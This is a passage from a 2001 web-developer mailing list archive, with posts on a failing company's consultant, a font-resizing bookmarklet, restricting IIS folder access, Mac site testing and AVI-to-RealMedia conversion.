and b2c can fail, in my own experience: My current employer had a working business and product model when I joined the company. The product he offered was a good one back in 1995. It was a little behind by 1997, and began to be seriously out of date 2 years ago. Nonetheless, he did not listen to his customers' and technicians' feedback, and made no product changes of note. Last year, my current employer floundered around trying to find future direction, yet was still not willing to listen to his current clients or his techs (of whom I am one); however, he could not ignore slowing sales. One of his partners had a friend, a marketing consultant in the industry my employer serves. This consultant made a proposal to give my employer some future direction concepts. My employer accepted. This consultant was supposed to meet with everyone in our company to get himself grounded on how things are done now & where techs believe the company should go, because we were on the front line. Our raises are put on hold because we have to be able to cover this consultant's invoices to us (we're quite small). It takes 5 months for the consultant to get around to interviewing us. What is the consultant doing in that 5 months? Having day-long meetings each week with employer. The meetings get employer so hyped up he does not keep focused on daily business, which therefore does not always run right. Employer from time to time drops hints of what is being discussed. These are things that do not sound as if they will work, but because consultant hasn't met with us, we hold our fire. When we finally meet with consultant (1-on-1, I guess it lets him bill more hours to my employer, if I were in his shoes I'd do bigger meetings to create dialogues), it's clear that he does not know his a-- from his elbow, either market-wise or technology-wise, yet where he wants to swing the most weight is in recommending technology change and new user interface! Additionally, he's often vacant, impatient, smiles insincerely, can be hostile, moody, and often sniffs to keep his nose from dripping (never blows his nose or coughs, though, so it's not a cold) -- you draw your own conclusion. Have we changed direction? Not yet. What did concrete things has the consultant produced so far? A brochure layout that was amateurish, the copy for which was cribbed from our current marketing lit. Partners had to have this pointed out to them. Then they asked me to redesign the brochure's layout (not part of my job, and kept me from meeting several deadlines) and clean up its copy. (I could have done this last year, y'know!) Anything else? No. Just a halt to their thought processes. The employer now comes up with interim ideas, has me do prototypes, makes no decisions, and in the meantime, we do not change, we do not move forward, and we will stop growing soon, saleswise. Yet some of the ideas that have been prototyped are good ones. What a waste of time and money! Here's what I think was wrong. The employer stopped growing professionally. Because of unconcious awareness of this, he lost touch with his technicians. He grew deaf to his customers' feedback. He waited too late to consider actually making a change, though we had been urging hm to do so for a long time. The fact that he made the decision to change so late caused pressure in him, so he could not make unbiased decisions -- in other words, fear took hold of him. He allowed disengaged and unknowledegable partners to invest in his business, and paid too much attention to their opinions because of the investments they made, not realizing they invested with him because they thought he was a tech leader. He brought in an outside consultant whose only real motive was to make enough money to feed his own needs, whatever those were. When it was clear the consultant was not moving us forward, the consultant was not dropped. With reluctance to listen to the people using the current product, and the technicians supporting it, with a resistance to flexibility and change, and fear and money a strong driving force, the right decisions could not be made and funded and acted upon at the right time. It takes a CEO with knowledge, honesty, courage, etc. to run a company that is going to respond nimbly and quickly to the constantly changing demands of e-biz models and product requirements. One specific area that many b-2-b and b-2-c product CEO's ignore: they are no longer dealing with a controlled market as they were 7 or 10 years ago -- they can no longre rely on the weight of their corporations to convince their customers and prospective customers to go with whatever product that's got whatever features delivered in whatever style. The Internet has flattened the marketplace, allowing individuals a large vote in what products they will or will not buy or use. The CEO who ignores public style and interface requirements is setting him- or herself up for early, often inadvertent, retirement. Navin Dhanuka wrote: > ...Also what is b2b, b2c, c2c...., why did it fail as promised... > > Thanks in advance. > > Navin Dhanuka > NetInfoTech.net > -- Cheers, Heather Quinn info at windyhilldesign.com http://www.windyhilldesign.com hgquinn at attglobal.net http://pws.prserv.net/windyhill From r937 at interlog.com Sun Sep 23 14:45:36 2001 From: r937 at interlog.com (rudy) Date: Sun Sep 23 14:45:36 2001 Subject: [thelist] NN4.7 only displaying A:link, etc. properties - CSS Message-ID: <01c14466$aae87ac0$df49149a@rudy> > Also FYI, I placed a period before the A's only for purposes of > emailing this message so the code would not display as HTML. hi sharon i'm pretty sure this is not necessary, as the only thing that gets through to the list is plain text so any email reader that is capable of formatting html in emails would have to switch modes halfway through displaying a post containing actual tags, which is unlikely i have heard, but am unable to remember specifically which one, that there is one email program which chokes on the tag (like i just wrote there -- so if you don't see this part of this paragraph, let me know!) but all other tags have always made it through without any special considerations introducing spurious periods or spaces is only going to confuse some of us, so let's try typing the actual tags and if anybody's emailer barfs, please let us know... but i really don't think we need to worry i mean, otherwise we wouldn't see all those lovely TIP tags, which, if interpreted as html, should actually disappear use this bookmarklet (thanks to david weingart who posted it on metafilter) to increase the font size of any web page by 20% (watch for wrap, bookmarklets are all on one line) -- javascript:function%20fs()%7Bs=document.styleSheets%5B0%5D;if(s==null)%20re turn;for(i=0;i%3Cs.rules.length;i++)%7Br=s.rules%5Bi%5D;if(r.style.fontSize !='')%7Bf=r.style.fontSize;n=parseInt(f);u=f.substring((n+'').length,f.leng th);n+=Math.round(n*0.2);r.style.fontSize=(n+u)}}};void%20fs() rudy http://rudy.ca/ From jjsteele22 at yahoo.com Sun Sep 23 16:43:21 2001 From: jjsteele22 at yahoo.com (jon steele) Date: Sun Sep 23 16:43:21 2001 Subject: [thelist] Private IIS, with one public folder Message-ID: <20010923214400.76431.qmail@web13508.mail.yahoo.com> Hi, I have a win2k machine with IIS. What I want to have is one directory which is available from any machine that knows my ip, while my www directory is available only to me, while developing/testing locally. So for example, only I can access the files in wwwroot, but anyone can access the folder wwwroot/public/. To help explain my point... for example, in Apache, I would put the following in httpd.conf: Order allow,deny Allow from 127.0.0.1 Order allow,deny Allow from all How can I achieve this under IIS? I'd appreciate any ideas! TIA Jon __________________________________________________ Do You Yahoo!? Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com From pf at cfdev.com Sun Sep 23 17:08:56 2001 From: pf at cfdev.com (Pete Freitag) Date: Sun Sep 23 17:08:56 2001 Subject: [thelist] Private IIS, with one public folder In-Reply-To: <20010923214400.76431.qmail@web13508.mail.yahoo.com> Message-ID: Yup, In IIS Right click on your web site and goto Properties and select the directory security tab. Click "Edit" under Anonymous Access, make sure anonymous access is unchecked, this will set the default properties for your web site. Now goto the folder you want to open up to everyone, right click on it, goto properties, directory security, edit, and check the anonymous access box. _____________________________________________ Pete Freitag (pfreitag at cfdev.com) CFDEV.COM ColdFusion Developer Resources http://www.cfdev.com/ -----Original Message----- From: thelist-admin at lists.evolt.org [mailto:thelist-admin at lists.evolt.org]On Behalf Of jon steele Sent: Sunday, September 23, 2001 5:44 PM To: TheList Evolt Subject: [thelist] Private IIS, with one public folder Hi, I have a win2k machine with IIS. What I want to have is one directory which is available from any machine that knows my ip, while my www directory is available only to me, while developing/testing locally. So for example, only I can access the files in wwwroot, but anyone can access the folder wwwroot/public/. To help explain my point... for example, in Apache, I would put the following in httpd.conf: Order allow,deny Allow from 127.0.0.1 Order allow,deny Allow from all How can I achieve this under IIS? I'd appreciate any ideas! TIA Jon __________________________________________________ Do You Yahoo!? Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com --------------------------------------- For unsubscribe and other options, including the Tip Harvester and archive of TheList go to: http://lists.evolt.org Workers of the Web, evolt ! From thelist at cbizz.net Sun Sep 23 18:48:44 2001 From: thelist at cbizz.net (profjj) Date: Sun Sep 23 18:48:44 2001 Subject: [thelist] Panoramas/3d In-Reply-To: Message-ID: Hi, I am currently looking for information to develop panoramic/3d displays. Thanking you in advance, [[:profjj:]] //* http://cbizz.net *// From david at vidmandesign.com Sun Sep 23 18:50:52 2001 From: david at vidmandesign.com (David Rafferton) Date: Sun Sep 23 18:50:52 2001 Subject: [thelist] Site check- Mac users please Message-ID: <20010924094114.D12B.DAVID@vidmandesign.com> Hi People, I have just finished a new site for my fiance but as I am a PC guy I need it looked over by a mac user to sort out any bugs. The sites address is- http://www.ozemail.com.au/~leeshca/start.htm The site is in two sizes- 1 for 800x600px screens and less and one for above 800x600px. Please report any bugs along with your browser info and screen res. Also- I need to put the site on a CD-ROM for sending out to prospective clients. I have modified the auto start files from another CD (ie- autorun.ini file) but I'm not sure how to make it auto start on a MAC (if that is at all poss??). I belive that I need a icon file for the mac (filename.ico) but I can't seem to find a way to do this on the PC. If any of you cool MAC people (suck, suck) would like to take a my gif file and make it into a icon file I would be so thankfull. Thanks in advance, David --------------- vidman design --------------- For designs that grab your attention like a mohawk on a politician! http://www.vidmandesign.com ------------------------------------------------------- From sales at iibiz.com Sun Sep 23 23:03:08 2001 From: sales at iibiz.com (iibiz) Date: Sun Sep 23 23:03:08 2001 Subject: [thelist] Converting Video Files References: <005a01c1395c$9f0a2060$b7e26d40@iibiz> <007501c1395d$19dd4d80$57a6aace@spacemonkey> <020a01c13993$e7789660$a600a8c0@mrtnz1.ga.home.com> Message-ID: <002a01c144ae$568d8cc0$bfa9b3c7@iibiz> Evening evolters! Went thru all the fun of creating streaming audio files a couple months ago - now one of my clients wants streaming video. I have a sample video clip in .avi format. I have ReadAudio Producer Basic. When I try to open the file in Producer, I get an error saying "the video portion of this file is in an unsupported format. Only the audio portion will be opened." I did a little poking around, but couldn't find an inexpensive program that will let me make the conversion to a .ram or .rm file. I'm stuck. Any suggestions? Thanks guys and gals, Sandy (Tip to come!) From headlines at lists.evolt.org Sun Sep 23 23:55:02 2001 From: headlines at lists.evolt.org (Headlines) Date: Sun Sep 23 23:55:02 2001 Subject: [thelist] Headlines from evolt.org for 23-SEP-01 Message-ID: <200109240455.f8O4t2mD031338@leo.evolt.org> evolt.org headlines for 23-SEP-01 Title : XSLT by Doug Tidwell Author : briandonovan Category: Reviews & Links Link : http://www.evolt.org/article/headline/12/15971/index.html Synopsis: I've read and enjoyed his articles at IBM developerWorks, most of which have an XML/XSLT and Java focus, so when I saw that O'Reilly was releasing a new book on XSLT written by Doug Tidwell, I had to get a copy. Happy reading... from evolt.org